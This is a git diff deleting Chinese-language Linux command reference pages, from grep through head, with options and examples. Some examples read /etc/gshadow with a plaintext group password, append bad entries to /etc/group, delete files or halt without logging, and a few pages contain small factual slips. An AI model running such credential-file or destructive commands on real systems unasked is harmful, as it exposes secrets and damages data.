-. # 匹配一个非换行符的字符 如:'gr.p'匹配gr后接一个任意字符,然后是p。 -* # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。 -.* # 一起用代表任意字符。 -[] # 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。 -[^] # 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。 -\(..\) # 标记匹配字符,如'\(love\)',love被标记为1。 -\< # 锚定单词的开始,如:'\<grep'匹配包含以grep开头的单词的行。 -\> # 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。 -x\{m\} # 重复字符x,m次,如:'0\{5\}'匹配包含5个o的行。 -x\{m,\} # 重复字符x,至少m次,如:'o\{5,\}'匹配至少有5个o的行。 -x\{m,n\} # 重复字符x,至少m次,不多于n次,如:'o\{5,10\}'匹配5--10个o的行。 -\w # 匹配文字和数字字符,也就是[A-Za-z0-9],如:'G\w*p'匹配以G后跟零个或多个文字或数字字符,然后是p。 -\W # \w的反置形式,匹配一个或多个非单词字符,如点号句号等。 -\b # 单词锁定符,如: '\bgrep\b'只匹配grep。 - -

grep命令常见用法

-

在文件中搜索一个单词,命令会返回一个包含 “match_pattern” 的文本行:

-
grep match_pattern file_name
-grep "match_pattern" file_name
-
-

在多个文件中查找:

-
grep "match_pattern" file_1 file_2 file_3 ...
-
-

输出除之外的所有行 -v 选项:

-
grep -v "match_pattern" file_name
-
-

标记匹配颜色 --color=auto 选项:

-
grep "match_pattern" file_name --color=auto
-
-

使用正则表达式 -E 选项:

-
grep -E "[1-9]+"
-# 或
-egrep "[1-9]+"
-
-

使用正则表达式 -P 选项:

-
grep -P "(\d{3}\-){2}\d{4}" file_name
-
-

只输出文件中匹配到的部分 -o 选项:

-
echo this is a test line. | grep -o -E "[a-z]+\."
-line.
-
-echo this is a test line. | egrep -o "[a-z]+\."
-line.
-
-

统计文件或者文本中包含匹配字符串的行数 -c 选项:

-
grep -c "text" file_name
-
-

输出包含匹配字符串的行数 -n 选项:

-
grep "text" -n file_name
-# 或
-cat file_name | grep "text" -n
-
-#多个文件
-grep "text" -n file_1 file_2
-
-

打印样式匹配所位于的字符或字节偏移:

-
echo gun is not unix | grep -b -o "not"
-7:not
-#一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。选项  **-b -o**  一般总是配合使用。
-
-

搜索多个文件并查找匹配文本在哪些文件中:

-
grep -l "text" file1 file2 file3...
-
-

grep递归搜索文件

-

在多级目录中对文本进行递归搜索:

-
grep "text" . -r -n
-# .表示当前目录。
-
-

忽略匹配样式中的字符大小写:

-
echo "hello world" | grep -i "HELLO"
-# hello
-
-

选项 -e 制动多个匹配样式:

-
echo this is a text line | grep -e "is" -e "line" -o
-is
-line
-
-#也可以使用 **-f** 选项来匹配多个样式,在样式文件中逐行写出需要匹配的字符。
-cat patfile
-aaa
-bbb
-
-echo aaa bbb ccc ddd eee | grep -f patfile -o
-
-

在grep搜索结果中包括或者排除指定文件:

-
# 只在目录中所有的.php和.html文件中递归搜索字符"main()"
-grep "main()" . -r --include *.{php,html}
-
-# 在搜索结果中排除所有README文件
-grep "main()" . -r --exclude "README"
-
-# 在搜索结果中排除filelist文件列表里的文件
-grep "main()" . -r --exclude-from filelist
-
-
-

使用0值字节后缀的grep与xargs:

-
# 测试文件:
-echo "aaa" > file1
-echo "bbb" > file2
-echo "aaa" > file3
-
-grep "aaa" file* -lZ | xargs -0 rm
-
-# 执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。
-
-

grep静默输出:

-
grep -q "test" filename
-# 不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。
-
-

打印出匹配文本之前或者之后的行:

-
# 显示匹配某个结果之后的3行,使用 -A 选项:
-seq 10 | grep "5" -A 3
-5
-6
-7
-8
-
-# 显示匹配某个结果之前的3行,使用 -B 选项:
-seq 10 | grep "5" -B 3
-2
-3
-4
-5
-
-# 显示匹配某个结果的前三行和后三行,使用 -C 选项:
-seq 10 | grep "5" -C 3
-2
-3
-4
-5
-6
-7
-8
-
-# 如果匹配结果有多个,会用“--”作为各匹配结果之间的分隔符:
-echo -e "a\nb\nc\na\nb\nc" | grep a -A 1
-a
-b
---
-a
-b
-
- - - - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/groupadd.html b/linux-command.docset/Contents/Resources/Documents/c/groupadd.html deleted file mode 100644 index 609c52c451..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/groupadd.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - groupadd 命令,Linux groupadd 命令详解:用于创建一个新的工作组 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

groupadd

-

用于创建一个新的工作组

-

补充说明

-

groupadd命令 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。

-

语法

-
groupadd(选项)(参数)
-
-

选项

-
-g:指定新建工作组的id;
--r:创建系统工作组,系统工作组的组ID小于500;
--K:覆盖配置文件“/ect/login.defs”;
--o:允许添加组ID号不唯一的工作组。
-
-

参数

-

组名:指定新建工作组的组名。

-

实例

-

建立一个新组,并设置组ID加入系统:

-
groupadd -g 344 jsdigname
-
-

此时在/etc/passwd文件中产生一个组ID(GID)是344的项目。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/groupdel.html b/linux-command.docset/Contents/Resources/Documents/c/groupdel.html deleted file mode 100644 index 105edb83d1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/groupdel.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - groupdel 命令,Linux groupdel 命令详解:用于删除指定的工作组 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

groupdel

-

用于删除指定的工作组

-

补充说明

-

groupdel命令 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。

-

语法

-
groupdel(参数)
-
-

参数

-

组:要删除的工作组名。

-

实例

-
groupadd damon  //创建damon工作组
-groupdel damon  //删除这个工作组
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/groupmod.html b/linux-command.docset/Contents/Resources/Documents/c/groupmod.html deleted file mode 100644 index 5d6cfe82b5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/groupmod.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - groupmod 命令,Linux groupmod 命令详解:更改群组识别码或名称 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

groupmod

-

更改群组识别码或名称

-

补充说明

-

groupmod命令 更改群组识别码或名称。需要更改群组的识别码或名称时,可用groupmod指令来完成这项工作。

-

语法

-
groupmod(选项)(参数)
-
-

选项

-
-g<群组识别码>:设置欲使用的群组识别码;
--o:重复使用群组识别码;
--n<新群组名称>:设置欲使用的群组名称。
-
-

参数

-

组名:指定要修改的工作的组名。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/groups.html b/linux-command.docset/Contents/Resources/Documents/c/groups.html deleted file mode 100644 index 2ddab776c7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/groups.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - groups 命令,Linux groups 命令详解:打印指定用户所在组的名称。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

groups

-

打印指定用户所在组的名称。

-

概要

-
groups [OPTION]... [username]...
-
-

主要用途

-
    -
  • 打印指定用户所在组的名称。
  • -
-

选项

-
--help       显示帮助信息并退出。
---version    显示版本信息并退出。
-
-

参数

-

username(可选):可以是一到多个,不提供时默认为当前用户。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-

显示linux用户所属的组

-
[root@localhost ~]# groups linux
-linux : linux adm dialout cdrom plugdev lpadmin admin sambashare
-
-

注意

-
    -
  1. 该命令等价于 id -Gn
  2. -
  3. 每个用户属于/etc/passwd中指定的一个组和在/etc/group中指定的其他组。
  4. -
  5. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 groupsinfo coreutils 'groups invocation'
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/grpck.html b/linux-command.docset/Contents/Resources/Documents/c/grpck.html deleted file mode 100644 index 947ae17f91..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/grpck.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - grpck 命令,Linux grpck 命令详解:用于验证组文件的完整性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

grpck

-

用于验证组文件的完整性

-

补充说明

-

grpck命令 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件/etc/group/etc/shadow

-

grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。

-

语法

-
grpck(选项)
-
-

选项

-
-r:只读模式;
--s:排序组id。
-
-

实例

-

对组账号和影子文件进行验证:

-
grpck   # 必须以管理员身份运行
-grpck /etc/group /etc/gshadow   # 后面两句一样,如果没有输出信息,则表示没有错误。
-
-

测试错误的实例:

-
**echo check_user:x: >> /etc/group    # 添加一行错误的格式数据
-cat /etc/group | grep check_user**
-check_user:x:  # 这儿GID字段为空,是错误的。
-
- **grpck /etc/group** 
-invalid group file entry
-delete line 'check_user:x:'? y      # 提示是否删除
-grpck: the files have been updated  # 这时已经删除了错误的行,提示文件已经更新。
-
- **cat /etc/group  | grep check_user   # 没有查到,已经删除了。** 
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/grpconv.html b/linux-command.docset/Contents/Resources/Documents/c/grpconv.html deleted file mode 100644 index 5d3995afdb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/grpconv.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - grpconv 命令,Linux grpconv 命令详解:用来开启群组的投影密码 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

grpconv

-

用来开启群组的投影密码

-

补充说明

-

grpconv命令 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在/etc目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在/etc目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。

-

语法

-
grpconv
-
-

实例

-

设置cdy组密码

-
groupmod --password 123456 cdy
-cat /etc/group | grep cdy
-cdy:123456:1000:     # 看出密码是123456
-
-

启动影子系统

-
grpconv
-cat /etc/group |  grep cdy
-cdy:x:1000:      # 看出密码段已经被x替代
-
-cat /etc/gshadow | grep cdy
-cdy:123456::      # 已经移到影子文件了
-
-

注:gshadow, shadow只有root权限才可以查看。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/grpunconv.html b/linux-command.docset/Contents/Resources/Documents/c/grpunconv.html deleted file mode 100644 index 75e91349eb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/grpunconv.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - grpunconv 命令,Linux grpunconv 命令详解:用来关闭群组的投影密码 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

grpunconv

-

用来关闭群组的投影密码

-

补充说明

-

grpunconv命令 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里。

-

语法

-
grpunconv
-
-

实例

-

未关闭的情况

-
cat /etc/gshadow | grep cdy
-cdy:123456::
-
-

关闭影子密码

-
cat /etc/gshadow
-cat: /etc/gshadow: 没有那个文件或目录
-
-

查看密码已经复制到/etc/group中了。

-
cat /etc/group | grep cdy
-cdy:123456:1000:
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/grub.html b/linux-command.docset/Contents/Resources/Documents/c/grub.html deleted file mode 100644 index ba6b3ae177..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/grub.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - - - - - - grub 命令,Linux grub 命令详解:多重引导程序grub的命令行shell工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

grub

-

多重引导程序grub的命令行shell工具

-

补充说明

-

grub命令 是多重引导程序grub的命令行shell工具。

-

语法

-
grub(选项)
-
-

选项

-
--batch:打开批处理模式;
---boot-drive=<驱动器>:指定stage2的引导驱动器;
---config-file<配置文件>:指定stage2的配置文件;
---device-map=<文件>:指定设备的映射文件;
---help:显示帮助信息;
---install-partition=<分区>:指定stage2安装分区;
---no-config-file:不使用配置文件;
---no-pager:不使用内部分页器;
---preset-menu:使用预设菜单;
---probe-second-floppy:检测第二个软盘驱动器;
---read-only:只读模式。
-
-

实例

-

利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多。

-

这里说一下这种情况下的处理方法,即:屏幕上提示grub>,但你的硬盘上数据没有丢失,各分区都是好的。这种情况是你的grub信息损坏了,但比较严重的是系统启动不了。

-

当然,在正常启动情况下,屏幕上出现grub的启动项选择菜单时按c键也是可以进入grub>状态的。这时候我们需要用grub的命令来手工启动系统。

-

只需要用到四个命令boot、kernel、initrd、boot。

-

但grub本身命令很多,比如查看文件内容的cat ,你输入help会得到。

-

首先,输入“ root (hd ” ,然后按两次 TAB 键; /* 这会列出你电脑上可能的磁盘设备,硬盘为 hd0/hd1 或 sd0/sd1 等 */

-

然后,选择你的安装 Linux 系统的硬盘,比如 hd0 ,输入 “ root (hd0, ” 再按两次 TAB 键; /* 这会列出你的第一块硬盘上的分区情况,你会知道哪个是 swap 交换分区, 0x82 ,哪个是 Linux 分区 0x83 */

-

选择你认为可能的 /boot 目录所在的分区, 输入root (hd0, 1)回车;

-

接着,输入cat /boot/vm, 按两次 TAB 键,如果出现一些 vm 开头的文件,比如 vmlinuz-2.6.15-26-386 说明这里是 /boot 所在的分区。

-

删除上一次的输入,再输入cat /boot/initrd,按两次 TAB 键,如果出现一些 initrd 开头的文件,比如 initrd.img-2.6.15-26-386 说明这个 /boot 所在的分区有 initrd ,即 ramdisk 镜像;

-

删除上一次的输入,再输入cat /sbin/init,按两次 TAB 键,如果出现一些 init 开头的文件,比如/sbin/init说明这个分区是/所在的分区;

-

如果没有出现/sbin/init文件,说明(hd0,1)分区仅仅是/boot分区而不是/分区。重新输入root (hd0,N)命令,这里 N 是某个 Linux 分区,然后再试cat /sbin/init, 直到屏幕上出现/sbin/init,说明你找到了/分区,严格来说,应该是/sbin目录所在的分区;

-

依次输入命令:

-
root (hd0,1)   /* 假设 /dev/hda2 是你的 /boot 所在的分区 */
-kernel /boot/vmlinuz-2.6.15-26-386 ro dev=/dev/hda3    /* 假设 /dev/hda3 是你的 / 所在的分区 */
-initrd /boot/initrd.img-2.6.15-26-386
-boot
-
-

即可启动系统。

-

这里的关键问题是如何确定系统的几个分区:/boot / /sbin

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gunzip.html b/linux-command.docset/Contents/Resources/Documents/c/gunzip.html deleted file mode 100644 index edd0fc70b9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gunzip.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - - - - - - gunzip 命令,Linux gunzip 命令详解:用来解压缩文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gunzip

-

用来解压缩文件

-

补充说明

-

gunzip命令 用来解压缩文件。gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。

-

语法

-
gunzip(选项)(参数)
-
-

选项

-
-a或——ascii:使用ASCII文字模式;
--c或--stdout或--to-stdout:把解压后的文件输出到标准输出设备;
--f或-force:强行解开压缩文件,不理会文件名称或硬连接是否存在以及该文件是否为符号连接;
--h或——help:在线帮助;
--l或——list:列出压缩文件的相关信息;
--L或——license:显示版本与版权信息;
--n或--no-name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其忽略不予处理;
--N或——name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其回存到解开的文件上;
--q或——quiet:不显示警告信息;
--r或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
--S或<压缩字尾字符串>或----suffix<压缩字尾字符串>:更改压缩字尾字符串;
--t或——test:测试压缩文件是否正确无误;
--v或——verbose:显示指令执行过程;
--V或——version:显示版本信息;
-
-

参数

-

文件列表:指定要解压缩的压缩包。

-

实例

-

首先将/etc目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到/opt目录,然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。

-
zip –r /opt/etc.zip /etc
-gzip -9v /opt/etc.zip
-
-

查看上述etc.zip.gz文件的压缩信息。

-
gzip -l /opt/etc.zip.gz
-compressed        uncompressed ratio uncompressed_name
-11938745            12767265   6.5% /opt/etc.zip
-
-

解压上述etc.zip.gz文件到当前目录。

-
[root@mylinux ~]#gzip –d /opt/etc.zip.gz 
-或者执行
-[root@mylinux ~]#gunzip /opt/etc.zip.gz
-
-

通过上面的示例可以知道gzip –d等价于gunzip命令。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gzexe.html b/linux-command.docset/Contents/Resources/Documents/c/gzexe.html deleted file mode 100644 index 48ee9fb3b7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gzexe.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - gzexe 命令,Linux gzexe 命令详解:用来压缩可执行文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gzexe

-

用来压缩可执行文件

-

补充说明

-

gzexe命令 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。

-

语法

-
gzexe(选项)(参数)
-
-

选项

-
-d:解压缩被gzexe压缩过的可执行文件。
-
-

参数

-

文件:指定需要压缩的可执行文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/gzip.html b/linux-command.docset/Contents/Resources/Documents/c/gzip.html deleted file mode 100644 index bb59821187..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/gzip.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - gzip 命令,Linux gzip 命令详解:用来压缩文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

gzip

-

用来压缩文件

-

补充说明

-

gzip命令 用来压缩文件。gzip是个使用广泛的压缩程序,文件经它压缩过后,其名称后面会多处“.gz”扩展名。

-

gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令,既方便又好用。gzip不仅可以用来压缩大的、较少使用的文件以节省磁盘空间,还可以和tar命令一起构成Linux操作系统中比较流行的压缩文件格式。据统计,gzip命令对文本文件有60%~70%的压缩率。减少文件大小有两个明显的好处,一是可以减少存储空间,二是通过网络传输文件时,可以减少传输的时间。

-

语法

-
gzip(选项)(参数)
-
-

选项

-
-a或——ascii:使用ASCII文字模式;
--d或--decompress或----uncompress:解开压缩文件;
--f或——force:强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接;
--h或——help:在线帮助;
--l或——list:列出压缩文件的相关信息;
--L或——license:显示版本与版权信息;
--n或--no-name:压缩文件时,不保存原来的文件名称及时间戳记;
--N或——name:压缩文件时,保存原来的文件名称及时间戳记;
--q或——quiet:不显示警告信息;
--r或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
--S或<压缩字尾字符串>或----suffix<压缩字尾字符串>:更改压缩字尾字符串;
--t或——test:测试压缩文件是否正确无误;
--v或——verbose:显示指令执行过程;
--V或——version:显示版本信息;
--<压缩效率>:压缩效率是一个介于1~9的数值,预设值为“6”,指定愈大的数值,压缩效率就会愈高;
---best:此参数的效果和指定“-9”参数相同;
---fast:此参数的效果和指定“-1”参数相同。
--num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。
--c或--stdout或--to-stdout:保留原始文件,生成标准输出流(结合重定向使用)。
-
-

参数

-

文件列表:指定要压缩的文件列表。

-

实例

-

把test6目录下的每个文件压缩成.gz文件

-
gzip *
-
-

把上例中每个压缩的文件解压,并列出详细的信息

-
gzip -dv *
-
-

详细显示例1中每个压缩的文件的信息,并不解压

-
gzip -l *
-
-

压缩一个tar备份文件,此时压缩文件的扩展名为.tar.gz

-
gzip -r log.tar
-
-

递归的压缩目录

-
gzip -rv test6
-
-

这样,所有test下面的文件都变成了*.gz,目录依然存在只是目录里面的文件相应变成了*.gz.这就是压缩,和打包不同。因为是对目录操作,所以需要加上-r选项,这样也可以对子目录进行递归了。

-

递归地解压目录

-
gzip -dr test6
-
-

保留原始文件,把压缩/解压流重定向到新文件

-
gzip -c aa > aa.gz
-gzip -dc bb.gz > bb
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/halt.html b/linux-command.docset/Contents/Resources/Documents/c/halt.html deleted file mode 100644 index 74cc83fdae..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/halt.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - halt 命令,Linux halt 命令详解:关闭正在运行的Linux操作系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

halt

-

关闭正在运行的Linux操作系统

-

补充说明

-

halt命令 用来关闭正在运行的Linux操作系统。halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统。

-

语法

-
halt(选项)
-
-

选项

-
-d:不要在wtmp中记录;
--f:不论目前的runlevel为何,不调用shutdown即强制关闭系统;
--i:在halt之前,关闭全部的网络界面;
--n:halt前,不用先执行sync;
--p:halt之后,执行poweroff;
--w:仅在wtmp中记录,而不实际结束系统。
-
-

实例

-
halt -p     # 关闭系统后关闭电源。
-halt -d     # 关闭系统,但不留下纪录。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/hdparm.html b/linux-command.docset/Contents/Resources/Documents/c/hdparm.html deleted file mode 100644 index 3a763de7e7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/hdparm.html +++ /dev/null @@ -1,150 +0,0 @@ - - - - - - - - - - - hdparm 命令,Linux hdparm 命令详解:显示与设定硬盘的参数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

hdparm

-

显示与设定硬盘的参数

-

补充说明

-

hdparm命令 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。

-

语法

-
hdparm(选项)(参数)
-
-

选项

-
-a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定;
--A<01>:启动或关闭读取文件时的快取功能;
--c<I/O模式>:设定IDE32位I/O模式;
--C:检测IDE硬盘的电源管理模式;
--d<01>:设定磁盘的DMA模式;
--f:将内存缓冲区的数据写入硬盘,并清楚缓冲区;
--g:显示硬盘的磁轨,磁头,磁区等参数;
--h:显示帮助;
--i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供;
--I:直接读取硬盘所提供的硬件规格信息;
--k<01>:重设硬盘时,保留-dmu参数的设定;
--K<01>:重设硬盘时,保留-APSWXZ参数的设定;
--m<磁区数>:设定硬盘多重分区存取的分区数;
--n<01>:忽略硬盘写入时所发生的错误;
--p<PIO模式>:设定硬盘的PIO模式;
--P<磁区数>:设定硬盘内部快取的分区数;
--q:在执行后续的参数时,不在屏幕上显示任何信息;
--r<01>:设定硬盘的读写模式;
--S<时间>:设定硬盘进入省电模式前的等待时间;
--t;评估硬盘的读取效率;
--T:平谷硬盘快取的读取效率;
--u<01>:在硬盘存取时,允许其他中断要求同时执行;
--v:显示硬盘的相关设定;
--w<01>:设定硬盘的写入快取;
--X<传输模式>:设定硬盘的传输模式;
--y:使IDE硬盘进入省电模式;
--Y:使IDE硬盘进入睡眠模式;
--Z:关闭某些Seagate硬盘的自动省电功能。
-
-

参数

-

设备文件:指定id驱动对应的设备文件名。

-

实例

-

显示硬盘的相关设置:

-
hdparm /dev/sda
-/dev/sda:
-IO_support = 0 (default 16-bit)
-readonly = 0 (off)
-readahead = 256 (on)
-geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数]
-
-```shell
-
-显示硬盘的柱面、磁头、扇区数:
-
-```shell
-hdparm -g /dev/sda
-/dev/sda:
-geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数]
-
-

测试硬盘的读取速度:

-
hdparm -T /dev/sda
-/dev/sda:
- Timing cached reads:   4684 MB in  2.00 seconds = 2342.92 MB/sec
-
-

测试硬盘缓存的读取速度:

-
hdparm -T /dev/xvda
-/dev/xvda:
-Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec
-
-

检测硬盘的电源管理模式:

-
hdparm -C /dev/sda
-/dev/sda:
-drive state is: standby [省电模式]
-
-

查询并设置硬盘多重扇区存取的扇区数,以增进硬盘的存取效率:

-
hdparm -m /dev/sda
-hdparm -m    #参数值为整数值如8 /dev/sda
-
-

附:硬盘坏道修复方法

-
检查:smartctl -l selftest /dev/sda
-卸载:umount /dev/sda*
-修复:badblocks /dev/sda
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/head.html b/linux-command.docset/Contents/Resources/Documents/c/head.html deleted file mode 100644 index 0ee54249b4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/head.html +++ /dev/null @@ -1,148 +0,0 @@ - - - - - - - - - - - head 命令,Linux head 命令详解:显示文件的开头部分。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

head

-

显示文件的开头部分。

-

概要

-
head [OPTION]... [FILE]...
-
-

主要用途

-
    -
  • 在未指定行数时默认显示前10行。
  • -
  • 处理多个文件时会在各个文件之前附加含有文件名的行。
  • -
  • 当没有文件或文件为-时,读取标准输入。
  • -
-

选项

-
-c, --bytes=[-]NUM       显示前NUM字节;如果NUM前有"-",那么会打印除了文件末尾的NUM字节以外的其他内容。
--n, --lines=[-]NUM       显示前NUM行而不是默认的10行;如果NUM前有"-",那么会打印除了文件末尾的NUM行以外的其他行。
--q, --quiet, --silent    不打印文件名行。
--v, --verbose            总是打印文件名行。
--z, --zero-terminated    行终止符为NUL而不是换行符。
---help                   显示帮助信息并退出。
---version                显示版本信息并退出。
-
-NUM可以有一个乘数后缀:
-b 512
-kB 1000
-k 1024
-MB 1000*1000
-M 1024*1024
-GB 1000*1000*1000
-G 1024*1024*1024
-T、P、E、Z、Y等以此类推。
-
-也可以使用二进制前缀:
-KiB=K
-MiB=M
-以此类推。
-
-

参数

-

FILE(可选):要处理的文件,可以为一或多个。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
# 查看历史文件的前6行:
-[user2@pc ~]$ head -n 6 ~/.bash_history
-#1575425555
-cd ~
-#1575425558
-ls -lh
-#1575425562
-vi ~/Desktop/ZhuangZhu-74.txt
-
-
# 查看多个文件:
-[user2@pc ~]$ head -n ~/.bash_history ~/.bashrc
-==> /allhome/user2/.bash_history <==
-#1575425555
-cd ~
-#1575425558
-ls -lh
-#1575425562
-vi ~/Desktop/ZhuangZhu-74.txt
-#1575425566
-uptime
-#1575425570
-find ~/ -maxdepth 3 -name 'test.sh' -exec lh {} \;
-
-==> /allhome/user2/.bashrc <==
-# .bashrc
-
-# forbid use Ctrl+D to exit shell.
-set -o ignoreeof
-
-# Source global definitions.
-if [ -f /etc/bashrc ]; then
-        . /etc/bashrc
-fi
-
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 headinfo coreutils 'head invocation'
  2. -
- -
